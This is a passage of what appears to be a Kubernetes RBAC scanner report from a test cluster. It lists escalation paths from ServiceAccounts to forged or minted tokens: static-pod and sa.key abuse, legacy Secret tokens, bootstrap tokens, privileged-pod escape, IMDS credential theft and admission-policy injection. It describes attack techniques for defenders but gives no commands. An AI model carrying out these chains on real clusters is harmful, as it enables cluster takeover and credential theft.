  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
HIGH ServiceAccount/rbac-fixtures/sa-workload-mutate → minted service-account tokens score 6.5 2 hops View finding →

ServiceAccount `sa-workload-mutate` in namespace `rbac-fixtures` reaches minted service-account tokens in 2 hops via Workload creation → ServiceAccount token theft → Mint a token via a legacy Secret.

  1. Step 1 of 2 Workload creation → ServiceAccount token theft workload_create_token_theft

    A Deployment, DaemonSet, StatefulSet, Job, or CronJob carries a pod template, and its controller creates pods from that template. Whoever writes the template chooses the ServiceAccount the pods run as, and Kubernetes checks only that the ServiceAccount exists, not that the writer may use it.

    So create on any of these kinds reaches exactly what create pods reaches: every ServiceAccount in the namespace (or in every namespace, for a cluster-wide grant). Removing create pods from a role while leaving create deployments changes nothing.

    From ServiceAccount/rbac-fixtures/sa-workload-mutate → ServiceAccount/cert-manager/cert-manager
    Permission granted create deployments/daemonsets/statefulsets/jobs/cronjobs
    Gives the attacker can create a workload whose pods run as ServiceAccount cert-manager/cert-manager
  2. Step 2 of 2 Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/cert-manager/cert-manager
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
HIGH ServiceAccount/vulnerable/privileged-reader → minted service-account tokens score 6.5 2 hops View finding →

ServiceAccount `privileged-reader` in namespace `vulnerable` reaches minted service-account tokens in 2 hops via Pod creation → ServiceAccount token theft → Mint a token via a legacy Secret.

  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/vulnerable/privileged-reader → ServiceAccount/cert-manager/cert-manager
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount cert-manager/cert-manager
  2. Step 2 of 2 Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/cert-manager/cert-manager
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
HIGH ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → minted service-account tokens score 6.3 3 hops View finding →

ServiceAccount `nodeid-tokenwriter` in namespace `nodeid-fixtures` reaches minted service-account tokens in 3 hops via Bootstrap token minting → Node authorizer: token request for a node's pods → Mint a token via a legacy Secret.

  1. Step 1 of 3 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/nodeid-fixtures/nodeid-tokenwriter
    Permission granted create secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
  2. Step 2 of 3 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount foothold-exec/foothold-decoy-sa, whose pod is bound there
  3. Step 3 of 3 Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
HIGH ServiceAccount/cutres/cutres-doublebind → minted service-account tokens score 6.2 2 hops View finding →

ServiceAccount `cutres-doublebind` in namespace `cutres` reaches minted service-account tokens in 2 hops via Create a privileged pod and escape to the node → Static pod and SA signing-key abuse.

  1. Step 1 of 2 Create a privileged pod and escape to the node pod_create_privileged_escape

    RBAC never inspects pod contents, only the create verb. When the target namespace has no restrictive Pod Security Admission enforce label, an attacker who can create pods sets privileged: true, hostPID, or a hostPath mount of / and breaks out to the node. Baseline or Restricted enforcement would block this and limit the risk to token theft alone.

    From ServiceAccount/cutres/cutres-doublebind
    Permission granted create pods (Pod Security Admission does not block privileged)
    Gives the attacker can create a privileged pod that escapes to the node
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/cutres/cutres-doublebind
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
Survives cutting the cutres-pod-creator-a binding (2 hops)

This route reaches the same target without the cutres-pod-creator-a binding, so removing this subject from that binding alone does not close it. The Remediation for this finding may name a broader fix that closes both.

  1. Step 1 of 2 Create a privileged pod and escape to the node pod_create_privileged_escape

    RBAC never inspects pod contents, only the create verb. When the target namespace has no restrictive Pod Security Admission enforce label, an attacker who can create pods sets privileged: true, hostPID, or a hostPath mount of / and breaks out to the node. Baseline or Restricted enforcement would block this and limit the risk to token theft alone.

    From ServiceAccount/cutres/cutres-doublebind
    Permission granted create pods (Pod Security Admission does not block privileged)
    Gives the attacker can create a privileged pod that escapes to the node
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/cutres/cutres-doublebind
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
HIGH ServiceAccount/foothold-fixtures/foothold-priv → minted service-account tokens score 6.2 2 hops View finding →

ServiceAccount `foothold-priv` in namespace `foothold-fixtures` reaches minted service-account tokens in 2 hops via Container escape to host → Static pod and SA signing-key abuse.

  1. Step 1 of 2 Container escape to host pod_host_escape

    The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

    From ServiceAccount/foothold-fixtures/foothold-priv
    Permission granted privileged
    Gives the attacker runs in pod foothold-fixtures/foothold-priv-app-568f779db7-cmqmb with privileged
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/foothold-fixtures/foothold-priv
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
HIGH ServiceAccount/hookbackend-fixtures/hookbackend-operator → minted service-account tokens score 6.2 2 hops View finding →

ServiceAccount `hookbackend-operator` in namespace `hookbackend-fixtures` reaches minted service-account tokens in 2 hops via Control-plane backend hijack → Static pod and SA signing-key abuse.

  1. Step 1 of 2 Control-plane backend hijack control_plane_backend_hijack

    Admission webhooks and aggregated API servers are ordinary Services that the API server itself calls, with its own front-proxy credentials and the caller's identity attached. The API server verifies them against the configuration's caBundle with the Service's DNS name pinned. Whoever can steer that Service's traffic (write its EndpointSlices or spec, or put a pod of their own behind it) and present its serving certificate (read the Secret, mount it, or run code in the backend's pods) is that backend.

    A namespace hosting such a backend therefore has to be treated like kube-system: the built-in edit and admin ClusterRoles hold both halves. A hijacked mutating webhook on pods rewrites every new pod; a hijacked native-group APIService serves a core API group; a validating webhook is bypassed; anything else is an interception point for the API server's traffic.

    From ServiceAccount/hookbackend-fixtures/hookbackend-operator
    Permission granted write services + read secrets in hookbackend-fixtures
    Gives the attacker can take over the backend of MutatingWebhookConfiguration hookbackend-fixtures-injector/inject.hookbackend-fixtures.example.com in namespace hookbackend-fixtures, which the API server calls with its own credentials
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/hookbackend-fixtures/hookbackend-operator
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
HIGH ServiceAccount/local-path-storage/local-path-provisioner-service-account → minted service-account tokens score 6.2 2 hops View finding →

ServiceAccount `local-path-provisioner-service-account` in namespace `local-path-storage` reaches minted service-account tokens in 2 hops via Create a privileged pod and escape to the node → Static pod and SA signing-key abuse.

  1. Step 1 of 2 Create a privileged pod and escape to the node pod_create_privileged_escape

    RBAC never inspects pod contents, only the create verb. When the target namespace has no restrictive Pod Security Admission enforce label, an attacker who can create pods sets privileged: true, hostPID, or a hostPath mount of / and breaks out to the node. Baseline or Restricted enforcement would block this and limit the risk to token theft alone.

    From ServiceAccount/local-path-storage/local-path-provisioner-service-account
    Permission granted create pods (Pod Security Admission does not block privileged)
    Gives the attacker can create a privileged pod that escapes to the node
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/local-path-storage/local-path-provisioner-service-account
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
Survives cutting the local-path-provisioner-bind binding (2 hops)

This route reaches the same target without the local-path-provisioner-bind binding, so removing this subject from that binding alone does not close it. The Remediation for this finding may name a broader fix that closes both.

  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/local-path-storage/local-path-provisioner-service-account
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod local-path-storage/local-path-provisioner-67b8995b4b-r5gbn falls back to node IAM role via IMDS
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/local-path-storage/local-path-provisioner-service-account
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
HIGH ServiceAccount/map-fixtures/sa-mutating-policy → minted service-account tokens score 6.2 2 hops View finding →

ServiceAccount `sa-mutating-policy` in namespace `map-fixtures` reaches minted service-account tokens in 2 hops via MutatingAdmissionPolicy injection → Static pod and SA signing-key abuse.

  1. Step 1 of 2 MutatingAdmissionPolicy injection mutating_policy_inject

    A MutatingAdmissionPolicy is the in-tree, webhookless way to rewrite objects as the API server admits them (GA in Kubernetes v1.36). Its CEL / JSONPatch mutation lives in etcd and runs inside the API server, so unlike a mutating webhook there is no external endpoint, TLS certificate, or backing Deployment to notice.

    An attacker who can write both the policy and a binding for it injects privileged: true, a hostPath mount, or an extra container into every pod created afterwards. Mutating admission runs before validating admission, so the injected pod still faces Pod Security Admission: the mutation targets a namespace PSA does not restrict (an unlabeled one, or kube-system), lands a privileged pod there, and that is a node escape.

    From ServiceAccount/map-fixtures/sa-mutating-policy
    Permission granted create/update mutatingadmissionpolicies + mutatingadmissionpolicybindings
    Gives the attacker can author and bind a MutatingAdmissionPolicy that injects a privileged/hostPath pod at admission time
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/map-fixtures/sa-mutating-policy
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
HIGH ServiceAccount/psa-suppressed/default → minted service-account tokens score 6.2 2 hops View finding →

ServiceAccount `default` in namespace `psa-suppressed` reaches minted service-account tokens in 2 hops via Container escape to host → Static pod and SA signing-key abuse.

  1. Step 1 of 2 Container escape to host pod_host_escape

    The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

    From ServiceAccount/psa-suppressed/default
    Permission granted privileged
    Gives the attacker runs in pod psa-suppressed/psa-priv-app-54c64bdd84-w4v5m with privileged
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/psa-suppressed/default
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
HIGH ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled → minted service-account tokens score 6.2 2 hops View finding →

ServiceAccount `sa-psa-unlabeled` in namespace `psa-unlabeled-fixtures` reaches minted service-account tokens in 2 hops via Container escape to host → Static pod and SA signing-key abuse.

  1. Step 1 of 2 Container escape to host pod_host_escape

    The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

    From ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled
    Permission granted hostNetwork
    Gives the attacker runs in pod psa-unlabeled-fixtures/psa-unlabeled-app-f5ff8974-nmmrs with hostNetwork
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
HIGH ServiceAccount/psaflip-fixtures/psaflip-flipper → minted service-account tokens score 6.2 2 hops View finding →

ServiceAccount `psaflip-flipper` in namespace `psaflip-fixtures` reaches minted service-account tokens in 2 hops via Pod Security Admission label flip → Static pod and SA signing-key abuse.

  1. Step 1 of 2 Pod Security Admission label flip namespace_psa_label_flip

    Pod Security Admission decides how strictly to vet pods in a namespace by reading the pod-security.kubernetes.io/enforce label on the Namespace object at admission time. That label is ordinary metadata: nothing in Kubernetes protects it, so anyone who can update or patch the namespace can set it to privileged and switch the lockdown off.

    Alone the label write changes nothing. Paired with a way to create pods in that namespace, it lets the attacker land a privileged or host-mounting pod in a namespace the cluster's PSA posture reports as restricted, and escape to the node from there. The write grant is outside the built-in admin/edit roles, and a namespaced Role can carry it for its own namespace, because the API server treats /api/v1/namespaces/<ns> as a request inside <ns>.

    From ServiceAccount/psaflip-fixtures/psaflip-flipper
    Permission granted patch namespaces + create pods (psaflip-fixtures)
    Gives the attacker can relabel namespace psaflip-fixtures to pod-security enforce=privileged, then run a privileged pod there and escape to the node
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/psaflip-fixtures/psaflip-flipper
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
HIGH ServiceAccount/rbac-fixtures/sa-nodes-proxy → minted service-account tokens score 6.2 2 hops View finding →

ServiceAccount `sa-nodes-proxy` in namespace `rbac-fixtures` reaches minted service-account tokens in 2 hops via nodes/proxy → kubelet API → Static pod and SA signing-key abuse.

  1. Step 1 of 2 nodes/proxy → kubelet API nodes_proxy

    The nodes/proxy subresource forwards requests to the kubelet on each node. Combined with kubelet's /exec endpoint and a WebSocket verb mismatch, this becomes a primitive for executing commands inside any pod the kubelet can reach.

    From ServiceAccount/rbac-fixtures/sa-nodes-proxy
    Permission granted get nodes/proxy
    Gives the attacker can reach kubelet API via nodes/proxy WebSocket verb confusion
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/rbac-fixtures/sa-nodes-proxy
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
HIGH ServiceAccount/vulnerable/default → minted service-account tokens score 6.2 2 hops View finding →

ServiceAccount `default` in namespace `vulnerable` reaches minted service-account tokens in 2 hops via Container escape to host → Static pod and SA signing-key abuse.

  1. Step 1 of 2 Container escape to host pod_host_escape

    The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

    From ServiceAccount/vulnerable/default
    Permission granted hostPID,hostIPC
    Gives the attacker runs in pod vulnerable/host-ns-app-7cb46d5788-xbc8b with hostPID, hostIPC
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/vulnerable/default
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
HIGH ServiceAccount/foothold-ops/foothold-execer → minted service-account tokens score 5.8 3 hops View finding →

ServiceAccount `foothold-execer` in namespace `foothold-ops` reaches minted service-account tokens in 3 hops via Pod exec → container takeover → Container escape to host → Static pod and SA signing-key abuse.

  1. Step 1 of 3 Pod exec → container takeover pod_exec

    The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

    From ServiceAccount/foothold-ops/foothold-execer → ServiceAccount/foothold-fixtures/foothold-priv
    Permission granted create pods/exec|pods/attach
    Gives the attacker can exec into pods running as ServiceAccount foothold-fixtures/foothold-priv
  2. Step 2 of 3 Container escape to host pod_host_escape

    The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

    From ServiceAccount/foothold-fixtures/foothold-priv
    Permission granted privileged
    Gives the attacker runs in pod foothold-fixtures/foothold-priv-app-568f779db7-cmqmb with privileged
  3. Step 3 of 3 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/foothold-fixtures/foothold-priv
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
MEDIUM ServiceAccount/cloud-eks-test/default → minted service-account tokens score 5.7 2 hops View finding →

ServiceAccount `default` in namespace `cloud-eks-test` reaches minted service-account tokens in 2 hops via Steal node IAM role via IMDS → Static pod and SA signing-key abuse.

  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/cloud-eks-test/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod cloud-eks-test/imds-pivot-app-68cfbfc794-vhjw8 falls back to node IAM role via IMDS
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/cloud-eks-test/default
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
MEDIUM ServiceAccount/containersec-fixtures/default → minted service-account tokens score 5.7 2 hops View finding →

ServiceAccount `default` in namespace `containersec-fixtures` reaches minted service-account tokens in 2 hops via Steal node IAM role via IMDS → Static pod and SA signing-key abuse.

  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/containersec-fixtures/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod containersec-fixtures/containersec-image-64d6ddbdbd-zxw7f falls back to node IAM role via IMDS
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/containersec-fixtures/default
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
MEDIUM ServiceAccount/csr-fixtures/sa-csr-mint → minted service-account tokens score 5.7 2 hops View finding →

ServiceAccount `sa-csr-mint` in namespace `csr-fixtures` reaches minted service-account tokens in 2 hops via Steal node IAM role via IMDS → Static pod and SA signing-key abuse.

  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod csr-fixtures/csr-mint-app-7b46f9dc-lkbq6 falls back to node IAM role via IMDS
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
MEDIUM ServiceAccount/csr-fixtures/sa-csr-sign → minted service-account tokens score 5.7 2 hops View finding →

ServiceAccount `sa-csr-sign` in namespace `csr-fixtures` reaches minted service-account tokens in 2 hops via Steal node IAM role via IMDS → Static pod and SA signing-key abuse.

  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/csr-fixtures/sa-csr-sign
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod csr-fixtures/csr-sign-app-5db6bf86b4-p7xd8 falls back to node IAM role via IMDS
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/csr-fixtures/sa-csr-sign
    Permission granted write access to /etc/kubernetes/manifests
